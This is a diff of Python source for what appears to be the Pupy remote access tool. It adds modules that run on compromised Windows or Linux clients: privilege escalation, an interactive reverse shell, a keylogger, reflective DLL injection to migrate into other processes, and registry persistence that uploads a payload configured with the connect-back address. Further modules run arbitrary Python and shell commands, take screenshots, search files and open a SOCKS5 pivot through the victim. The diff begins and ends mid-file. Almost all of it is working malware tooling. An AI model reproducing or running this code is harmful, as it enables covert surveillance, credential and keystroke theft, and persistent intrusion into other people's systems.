||||
def run(self, args):
|
||||
#self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0)
|
||||
self.client.load_package("pupwinutils.security", force=True)
|
||||
self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege")
|
||||
self.success("SeDebugPrivilege enabled !")
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.utils import redirected_stdio
|
||||
|
||||
__class_name__="InteractiveShell"
|
||||
|
||||
|
||||
class InteractiveShell(PupyModule):
|
||||
""" open an interactive command shell """
|
||||
max_clients=1
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(description=self.__doc__)
|
||||
#self.arg_parser.add_argument('arguments', nargs='+', metavar='<command>')
|
||||
|
||||
def run(self, args):
|
||||
self.client.load_package("interactive_shell")
|
||||
program="/bin/sh"
|
||||
encoding=None
|
||||
if self.client.is_windows():
|
||||
program="cmd.exe"
|
||||
encoding="cp437"
|
||||
with redirected_stdio(self.client.conn):
|
||||
self.client.conn.modules.interactive_shell.interactive_open(program=program, encoding=encoding)
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import StringIO
|
||||
import pupylib.utils
|
||||
import SocketServer
|
||||
import threading
|
||||
import socket
|
||||
import logging
|
||||
import struct
|
||||
import traceback
|
||||
import time
|
||||
|
||||
__class_name__="KeyloggerModule"
|
||||
|
||||
class KeyloggerModule(PupyModule):
|
||||
""" a simple keylogger :-) """
|
||||
#max_clients=1
|
||||
daemon=True
|
||||
unique_instance=True
|
||||
keylogger=None
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='keylogger', description=self.__doc__)
|
||||
self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
|
||||
|
||||
@windows_only
|
||||
def is_compatible(self):
|
||||
pass
|
||||
|
||||
def stop_daemon(self):
|
||||
self.success("keylogger stopped")
|
||||
|
||||
def run(self, args):
|
||||
if args.action=="start":
|
||||
if self.keylogger:
|
||||
self.error("the keylogger is already started")
|
||||
else:
|
||||
self.client.load_package("pupwinutils.keylogger")
|
||||
self.keylogger=self.client.conn.modules["pupwinutils.keylogger"].KeyLogger()
|
||||
self.keylogger.start()
|
||||
else:
|
||||
if not self.keylogger:
|
||||
self.error("the keylogger is not running")
|
||||
return
|
||||
if args.action=="dump":
|
||||
self.success("dumping recorded keystrokes :")
|
||||
self.log(self.keylogger.dump())
|
||||
elif args.action=="stop":
|
||||
self.keylogger.stop()
|
||||
self.job.stop()
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import genpayload
|
||||
import os.path
|
||||
import time
|
||||
|
||||
__class_name__="MigrateModule"
|
||||
|
||||
|
||||
def has_proc_migrated(client, pid):
|
||||
for c in client.pupsrv.clients:
|
||||
if all([True for x in c.desc if x in ["hostname", "platform", "release", "version", "macaddr"] and client.desc[x]==c.desc[x]]):
|
||||
if int(c.desc["pid"])==pid:
|
||||
return c
|
||||
return None
|
||||
|
||||
class MigrateModule(PupyModule):
|
||||
""" Migrate pupy into another process using reflective DLL injection """
|
||||
max_clients=1
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="migrate", description=self.__doc__)
|
||||
self.arg_parser.add_argument('pid', type=int, help='pid')
|
||||
|
||||
@windows_only
|
||||
def is_compatible(self):
|
||||
pass
|
||||
|
||||
def run(self, args):
|
||||
dllbuf=b""
|
||||
isProcess64bits=False
|
||||
#TODO automatically fill ip/port
|
||||
self.client.load_package("psutil")
|
||||
self.client.load_package("pupwinutils.processes")
|
||||
self.success("looking for configured connect back address ...")
|
||||
res=self.client.conn.modules['pupy'].get_connect_back_host()
|
||||
host, port=res.rsplit(':',1)
|
||||
self.success("address configured is %s:%s ..."%(host,port))
|
||||
self.success("looking for process %s architecture ..."%args.pid)
|
||||
if self.client.conn.modules['pupwinutils.processes'].is_process_64(args.pid):
|
||||
isProcess64bits=True
|
||||
self.success("process is 64 bits")
|
||||
dllbuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx64.dll"), host, port)
|
||||
else:
|
||||
self.success("process is 32 bits")
|
||||
dllbuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx86.dll"), host, port)
|
||||
self.success("injecting DLL in target process %s ..."%args.pid)
|
||||
self.client.conn.modules['pupy'].reflective_inject_dll(args.pid, dllbuff, isProcess64bits)
|
||||
self.success("DLL injected !")
|
||||
self.success("waiting for a connection from the DLL ...")
|
||||
while True:
|
||||
c=has_proc_migrated(self.client, args.pid)
|
||||
if c:
|
||||
self.success("got a connection from migrated DLL !")
|
||||
c.desc["id"]=self.client.desc["id"]
|
||||
break
|
||||
time.sleep(0.1)
|
||||
try:
|
||||
self.client.conn.exit()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
|
||||
__class_name__="MsgBoxPopup"
|
||||
|
||||
class MsgBoxPopup(PupyModule):
|
||||
""" Pop up a custom message box """
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--title', help='msgbox title')
|
||||
self.arg_parser.add_argument('text', help='text to print in the msgbox :)')
|
||||
|
||||
@windows_only
|
||||
def is_compatible(self):
|
||||
pass
|
||||
|
||||
def run(self, args):
|
||||
#self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0)
|
||||
self.client.load_package("pupwinutils.msgbox")
|
||||
self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
|
||||
self.log("message box popped !")
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import random
|
||||
import genpayload
|
||||
import os.path
|
||||
import string
|
||||
|
||||
__class_name__="PersistenceModule"
|
||||
|
||||
class PersistenceModule(PupyModule):
|
||||
""" Pop up a custom message box """
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
|
||||
self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
|
||||
|
||||
@windows_only
|
||||
def is_compatible(self):
|
||||
pass
|
||||
|
||||
def run(self, args):
|
||||
if args.method=="registry":
|
||||
self.client.load_package("pupwinutils.persistence")
|
||||
|
||||
#retrieving conn info
|
||||
res=self.client.conn.modules['pupy'].get_connect_back_host()
|
||||
host, port=res.rsplit(':',1)
|
||||
|
||||
self.info("generating exe ...")
|
||||
#generating exe
|
||||
exebuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx86.exe"), host, port)
|
||||
|
||||
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
|
||||
self.info("uploading to %s ..."%remote_path)
|
||||
#uploading
|
||||
rf=self.client.conn.builtin.open(remote_path, "wb")
|
||||
chunk_size=16000
|
||||
pos=0
|
||||
while True:
|
||||
buf=exebuff[pos:pos+chunk_size]
|
||||
if not buf:
|
||||
break
|
||||
rf.write(buf)
|
||||
pos+=chunk_size
|
||||
rf.close()
|
||||
self.success("upload successful")
|
||||
|
||||
#adding persistency
|
||||
self.info("adding to registry ...")
|
||||
self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
|
||||
self.info("registry key added")
|
||||
|
||||
self.success("persistence added !")
|
||||
else:
|
||||
self.error("not implemented")
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.utils import obtain
|
||||
|
||||
__class_name__="MsgBoxPopup"
|
||||
|
||||
class MsgBoxPopup(PupyModule):
|
||||
""" list processes """
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="ps", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--all', '-a', action='store_true', help='more info')
|
||||
|
||||
@windows_only
|
||||
def is_compatible(self):
|
||||
pass
|
||||
|
||||
def run(self, args):
|
||||
#self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0)
|
||||
self.client.load_package("psutil")
|
||||
self.client.load_package("pupwinutils.processes")
|
||||
outputlist=self.client.conn.modules["pupwinutils.processes"].enum_processes()
|
||||
outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster
|
||||
columns=['username', 'pid', 'arch', 'exe']
|
||||
if args.all:
|
||||
columns=['username', 'pid', 'arch', 'name', 'exe', 'cmdline', 'status']
|
||||
for dic in outputlist:
|
||||
dic["cmdline"]=' '.join(dic['cmdline'][1:])
|
||||
else:
|
||||
for dic in outputlist:
|
||||
if 'exe' in dic and not dic['exe'] and 'name' in dic and dic['name']:
|
||||
dic['exe']=dic['name']
|
||||
if 'username' in dic and dic['username'] is None:
|
||||
dic['username']=""
|
||||
self.rawlog(self.formatter.table_format(outputlist, wl=columns))
|
||||
|
|
@ -0,0 +1,37 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import StringIO
|
||||
import pupylib.utils
|
||||
|
||||
__class_name__="PythonExec"
|
||||
|
||||
class PythonExec(PupyModule):
|
||||
""" execute python code on a remote system """
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='pyexec', description=self.__doc__)
|
||||
group=self.arg_parser.add_mutually_exclusive_group(required=True)
|
||||
group.add_argument('--file', metavar="<path>", help="execute code from .py file")
|
||||
group.add_argument('-c','--code', metavar='<code string>', help="execute python oneliner code. ex : 'import platform;print platform.uname()'")
|
||||
|
||||
def run(self, args):
|
||||
code=""
|
||||
if args.file:
|
||||
self.info("loading code from %s ..."%args.file)
|
||||
with open(args.file,'r') as f:
|
||||
code=f.read()
|
||||
else:
|
||||
code=args.code
|
||||
stdout=StringIO.StringIO()
|
||||
stderr=StringIO.StringIO()
|
||||
try:
|
||||
with pupylib.utils.redirected_stdo(self.client.conn, stdout, stderr):
|
||||
self.client.conn.execute(code+"\n")
|
||||
res=stdout.getvalue()
|
||||
err=stderr.getvalue()
|
||||
if err.strip():
|
||||
err="\n"+err
|
||||
self.rawlog(res+err)
|
||||
finally:
|
||||
stdout.close()
|
||||
stderr.close()
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import sys
|
||||
import subprocess
|
||||
import threading
|
||||
import Queue
|
||||
import pupylib.utils
|
||||
|
||||
import time
|
||||
|
||||
__class_name__="InteractivePythonShell"
|
||||
|
||||
|
||||
def enqueue_output(out, queue):
|
||||
for c in iter(lambda: out.read(1), b""):
|
||||
queue.put(c)
|
||||
|
||||
class InteractivePythonShell(PupyModule):
|
||||
""" open an interactive python shell on the remote client """
|
||||
max_clients=1
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='pyshell', description=self.__doc__)
|
||||
def run(self, args):
|
||||
try:
|
||||
pupylib.utils.interact(self.client.conn)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,79 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
|
||||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
|
||||
from pupylib.PupyModule import *
|
||||
from rpyc.utils.classic import download
|
||||
import os
|
||||
import os.path
|
||||
import textwrap
|
||||
import logging
|
||||
import datetime
|
||||
from zlib import compress, crc32
|
||||
import struct
|
||||
import subprocess
|
||||
|
||||
__class_name__="Screenshoter"
|
||||
|
||||
def pil_save(filename, pixels, width, height):
|
||||
from PIL import Image, ImageFile
|
||||
buffer_len = (width * 3 + 3) & -4
|
||||
img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)
|
||||
ImageFile.MAXBLOCK = width * height
|
||||
img=img.transpose(Image.FLIP_TOP_BOTTOM)
|
||||
img.save(filename, quality=95, optimize=True, progressive=True)
|
||||
logging.info('Screenshot saved to %s'%filename)
|
||||
|
||||
|
||||
class Screenshoter(PupyModule):
|
||||
""" take a screenshot :) """
|
||||
@windows_only
|
||||
def is_compatible(self):
|
||||
pass
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__)
|
||||
self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen')
|
||||
self.arg_parser.add_argument('-s', '--screen', type=int, default=None, help='take a screenshot on a specific screen (default all screen on one screenshot)')
|
||||
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open eog on the screenshot for preview')
|
||||
|
||||
def run(self, args):
|
||||
try:
|
||||
os.makedirs("./data/screenshots")
|
||||
except Exception:
|
||||
pass
|
||||
self.client.load_package("pupwinutils.screenshot")
|
||||
screens=None
|
||||
if args.screen is None:
|
||||
screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True)
|
||||
else:
|
||||
screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors()
|
||||
if args.enum:
|
||||
res=""
|
||||
for i, screen in enumerate(screens):
|
||||
res+="{:<3}: {}\n".format(i,screen)
|
||||
return res
|
||||
if args.screen is None:
|
||||
args.screen=0
|
||||
selected_screen=screens[args.screen]
|
||||
screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen)
|
||||
filepath=os.path.join("./data/screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
|
||||
pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"])
|
||||
if args.view:
|
||||
subprocess.Popen(["eog",filepath])
|
||||
self.success("screenshot saved to %s"%filepath)
|
||||
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
|
||||
__class_name__="SearchModule"
|
||||
|
||||
class SearchModule(PupyModule):
|
||||
""" walk through a directory and recursively search a string into files """
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="search", description=self.__doc__)
|
||||
self.arg_parser.add_argument('path', help='path')
|
||||
self.arg_parser.add_argument('strings', nargs='+',metavar='string', help='strings to search')
|
||||
|
||||
def run(self, args):
|
||||
self.client.load_package("pupyutils.search")
|
||||
self.info("searching strings %s in %s ..."%(args.strings, args.path))
|
||||
for res in self.client.conn.modules['pupyutils.search'].search_path(args.path, args.strings):
|
||||
self.success("%s:%s > %s"%(res[0],res[1],res[2]))
|
||||
self.info("search finished !")
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import subprocess
|
||||
from rpyc.utils.helpers import restricted
|
||||
__class_name__="ShellExec"
|
||||
|
||||
class ShellExec(PupyModule):
|
||||
""" execute shell commands on a remote system """
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__)
|
||||
self.arg_parser.add_argument('argument', nargs='+')
|
||||
def run(self, args):
|
||||
res=""
|
||||
try:
|
||||
res=self.client.conn.modules.subprocess.check_output(' '.join(args.argument), stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True)
|
||||
except Exception as e:
|
||||
if hasattr(e,'output') and e.output:
|
||||
res=e.output
|
||||
else:
|
||||
res=str(e)
|
||||
|
||||
if self.client.is_windows():
|
||||
try:
|
||||
res=res.decode('cp437')
|
||||
except Exception:
|
||||
pass
|
||||
self.log(res)
|
||||
|
|
@ -0,0 +1,211 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
|
||||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
|
||||
#RFC @https://www.ietf.org/rfc/rfc1928.txt
|
||||
from pupylib.PupyModule import *
|
||||
import StringIO
|
||||
import pupylib.utils
|
||||
import SocketServer
|
||||
import threading
|
||||
import socket
|
||||
import logging
|
||||
import struct
|
||||
import traceback
|
||||
import time
|
||||
|
||||
__class_name__="Socks5Proxy"
|
||||
|
||||
CODE_SUCCEEDED='\x00'
|
||||
CODE_GENERAL_SRV_FAILURE='\x01'
|
||||
CODE_CONN_NOT_ALLOWED='\x02'
|
||||
CODE_NET_NOT_REACHABLE='\x03'
|
||||
CODE_HOST_UNREACHABLE='\x04'
|
||||
CODE_CONN_REFUSED='\x05'
|
||||
CODE_TTL_EXPIRED='\x06'
|
||||
CODE_COMMAND_NOT_SUPPORTED='\x07'
|
||||
CODE_ADDRESS_TYPE_NOT_SUPPORTED='\x08'
|
||||
CODE_UNASSIGNED='\x09'
|
||||
|
||||
class SocketPiper(threading.Thread):
|
||||
def __init__(self, read_sock, write_sock):
|
||||
threading.Thread.__init__(self)
|
||||
self.daemon=True
|
||||
self.read_sock=read_sock
|
||||
self.write_sock=write_sock
|
||||
def run(self):
|
||||
try:
|
||||
self.read_sock.setblocking(0)
|
||||
while True:
|
||||
data=""
|
||||
try:
|
||||
data+=self.read_sock.recv(1000000)
|
||||
if not data:
|
||||
break
|
||||
except Exception as e:
|
||||
if e[0]==9:#errno connection closed
|
||||
break
|
||||
if not data:
|
||||
time.sleep(0.05)
|
||||
continue
|
||||
self.write_sock.sendall(data)
|
||||
except Exception as e:
|
||||
logging.debug("error in socket piper: %s"%str(traceback.format_exc()))
|
||||
finally:
|
||||
try:
|
||||
self.write_sock.shutdown(socket.SHUT_RDWR)
|
||||
self.write_sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
self.read_sock.shutdown(socket.SHUT_RDWR)
|
||||
self.read_sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
logging.debug("piper finished")
|
||||
|
||||
class Socks5RequestHandler(SocketServer.BaseRequestHandler):
|
||||
def _socks_response(self, code, terminate=False):
|
||||
ip="".join([chr(int(i)) for i in self.server.server_address[0].split(".")])
|
||||
port=struct.pack("!H",self.server.server_address[1])
|
||||
self.request.sendall("\x05"+code+"\x00"+"\x01"+ip+port)
|
||||
if terminate:
|
||||
self.request.shutdown(socket.SHUT_RDWR)
|
||||
self.request.close()
|
||||
|
||||
|
||||
def handle(self):
|
||||
self.request.settimeout(5)
|
||||
VER=self.request.recv(1)
|
||||
NMETHODS=self.request.recv(1)
|
||||
METHODS=self.request.recv(int(struct.unpack("!B",NMETHODS)[0]))
|
||||
"""
|
||||
o X'00' NO AUTHENTICATION REQUIRED
|
||||
o X'01' GSSAPI
|
||||
o X'02' USERNAME/PASSWORD
|
||||
o X'03' to X'7F' IANA ASSIGNED
|
||||
o X'80' to X'FE' RESERVED FOR PRIVATE METHODS
|
||||
o X'FF' NO ACCEPTABLE METHODS
|
||||
"""
|
||||
#for now only no authentication is supported :
|
||||
self.request.sendall("\x05\x00")
|
||||
VER=self.request.recv(1)
|
||||
if VER!="\x05":
|
||||
logging.debug("receiving unsuported socks version: %s"%VER.encode('hex'))
|
||||
self._socks_response(CODE_GENERAL_SRV_FAILURE, terminate=True)
|
||||
return
|
||||
|
||||
CMD=self.request.recv(1)
|
||||
if CMD!="\x01": # we only support CONNECT for now
|
||||
logging.debug("receiving unsuported socks CMD: %s"%CMD.encode('hex'))
|
||||
self._socks_response(CODE_COMMAND_NOT_SUPPORTED, terminate=True)
|
||||
return
|
||||
|
||||
RSV=self.request.recv(1)
|
||||
|
||||
DST_ADDR=None
|
||||
DST_PORT=None
|
||||
ATYP=self.request.recv(1)
|
||||
if ATYP=="\x01":
|
||||
DST_ADDR=".".join([str(ord(x)) for x in self.request.recv(4)])
|
||||
DST_PORT=struct.unpack("!H",self.request.recv(2))[0]
|
||||
elif ATYP=="\x03":
|
||||
DOMAIN_LEN=int(struct.unpack("!B",self.request.recv(1))[0])
|
||||
DST_ADDR=self.request.recv(DOMAIN_LEN)
|
||||
DST_PORT=struct.unpack("!H",self.request.recv(2))[0]
|
||||
else: #TODO: ipv6
|
||||
logging.debug("atyp not supported: %s"%ATYP.encode('hex'))
|
||||
self._socks_response(CODE_ADDRESS_TYPE_NOT_SUPPORTED, terminate=True)
|
||||
return
|
||||
|
||||
#now we have all we need, we can open the socket proxyfied through rpyc :)
|
||||
logging.debug("connecting to %s:%s through the rpyc client"%(DST_ADDR,DST_PORT))
|
||||
rsocket_mod=self.server.rpyc_client.conn.modules.socket
|
||||
rsocket=rsocket_mod.socket(rsocket_mod.AF_INET,rsocket_mod.SOCK_STREAM)
|
||||
rsocket.settimeout(5)
|
||||
try:
|
||||
rsocket.connect((DST_ADDR, DST_PORT))
|
||||
except Exception as e:
|
||||
logging.debug("error: %s"%e)
|
||||
if e[0]==10060:
|
||||
logging.debug("unreachable !")
|
||||
|
||||
self._socks_response(CODE_HOST_UNREACHABLE, terminate=True)
|
||||
else:
|
||||
self._socks_response(CODE_NET_NOT_REACHABLE, terminate=True)
|
||||
return
|
||||
self._socks_response(CODE_SUCCEEDED)
|
||||
logging.debug("connection succeeded !")
|
||||
|
||||
#self.request.settimeout(30)
|
||||
#rsocket.settimeout(30)
|
||||
|
||||
sp1=SocketPiper(self.request, rsocket)
|
||||
sp2=SocketPiper(rsocket, self.request)
|
||||
sp1.start()
|
||||
sp2.start()
|
||||
sp1.join()
|
||||
sp2.join()
|
||||
logging.debug("conn to %s:%s closed"%(DST_ADDR,DST_PORT))
|
||||
|
||||
class Socks5Server(SocketServer.TCPServer):
|
||||
allow_reuse_address = True
|
||||
def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, rpyc_client=None):
|
||||
self.rpyc_client=rpyc_client
|
||||
SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate)
|
||||
|
||||
class ThreadedSocks5Server(SocketServer.ThreadingMixIn, Socks5Server):
|
||||
pass
|
||||
|
||||
class Socks5Proxy(PupyModule):
|
||||
""" start a socks5 proxy gooing through a client """
|
||||
max_clients=1
|
||||
unique_instance=True
|
||||
daemon=True
|
||||
server=None
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='socks5proxy', description=self.__doc__)
|
||||
self.arg_parser.add_argument('-p', '--port', default='1080')
|
||||
self.arg_parser.add_argument('action', choices=['start','stop'])
|
||||
|
||||
def stop_daemon(self):
|
||||
self.success("shuting down socks server ...")
|
||||
if self.server:
|
||||
self.server.shutdown()
|
||||
del self.server
|
||||
self.success("socks server shut down")
|
||||
else:
|
||||
self.error("server is None")
|
||||
|
||||
def run(self, args):
|
||||
if args.action=="start":
|
||||
if self.server is None:
|
||||
self.success("starting server ...")
|
||||
self.server = ThreadedSocks5Server(("127.0.0.1", int(args.port)), Socks5RequestHandler, rpyc_client=self.client)
|
||||
t=threading.Thread(target=self.server.serve_forever)
|
||||
t.daemon=True
|
||||
t.start()
|
||||
self.success("socks5 server started on 127.0.0.1:%s"%args.port)
|
||||
else:
|
||||
self.error("socks5 server is already started !")
|
||||
elif args.action=="stop":
|
||||
if self.server:
|
||||
self.job.stop()
|
||||
del self.job
|
||||
self.success("socks5 server stopped !")
|
||||
else:
|
||||
self.error("socks5 server is already stopped")
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from rpyc.utils.classic import upload
|
||||
import os
|
||||
import os.path
|
||||
|
||||
__class_name__="UploaderScript"
|
||||
|
||||
class UploaderScript(PupyModule):
|
||||
""" upload a file/directory to a remote system """
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='download', description=self.__doc__)
|
||||
self.arg_parser.add_argument('local_file', metavar='<local_path>')
|
||||
self.arg_parser.add_argument('remote_file', metavar='<remote_path>')
|
||||
def run(self, args):
|
||||
upload(self.client.conn, args.local_file, args.remote_file)
|
||||
self.success("file local:%s uploaded to remote:%s"%(args.local_file, args.remote_file))
|
||||
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
|
||||
import sys
|
||||
from subprocess import PIPE, Popen
|
||||
from threading import Thread
|
||||
from Queue import Queue, Empty
|
||||
import time
|
||||
import traceback
|
||||
|
||||
ON_POSIX = 'posix' in sys.builtin_module_names
|
||||
|
||||
def write_output(out, queue):
|
||||
try:
|
||||
for c in iter(lambda: out.read(1), b""):
|
||||
queue.put(c)
|
||||
out.close()
|
||||
except Exception as e:
|
||||
print(traceback.format_exc())
|
||||
|
||||
def flush_loop(queue, encoding):
|
||||
try:
|
||||
while True:
|
||||
buf=b""
|
||||
while True:
|
||||
try:
|
||||
buf+=queue.get_nowait()
|
||||
except Empty:
|
||||
break
|
||||
if buf:
|
||||
if encoding:
|
||||
try:
|
||||
buf=buf.decode(encoding)
|
||||
except Exception:
|
||||
pass
|
||||
sys.stdout.write(buf)
|
||||
sys.stdout.flush()
|
||||
time.sleep(0.5)
|
||||
except Exception as e:
|
||||
print(traceback.format_exc())
|
||||
|
||||
def interactive_open(program=None, encoding=None):
|
||||
try:
|
||||
if program is None:
|
||||
if "win" in sys.platform.lower():
|
||||
program="cmd.exe"
|
||||
encoding="cp437"
|
||||
else:
|
||||
program="/bin/sh"
|
||||
encoding=None
|
||||
print "Opening interactive %s ... (encoding : %s)"%(program,encoding)
|
||||
p = Popen([program], stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, close_fds=ON_POSIX, universal_newlines=True)
|
||||
q = Queue()
|
||||
q2 = Queue()
|
||||
t = Thread(target=write_output, args=(p.stdout, q))
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
t = Thread(target=write_output, args=(p.stderr, q2))
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
t = Thread(target=flush_loop, args=(q, encoding))
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
t = Thread(target=flush_loop, args=(q2, encoding))
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
while True:
|
||||
line = raw_input()
|
||||
p.stdin.write(line+"\n")
|
||||
if line.strip()=="exit":
|
||||
break
|
||||
except Exception as e:
|
||||
print(traceback.format_exc())
|
|
@ -0,0 +1,164 @@
|
|||
# ---------------------------------------------------------------
|
||||
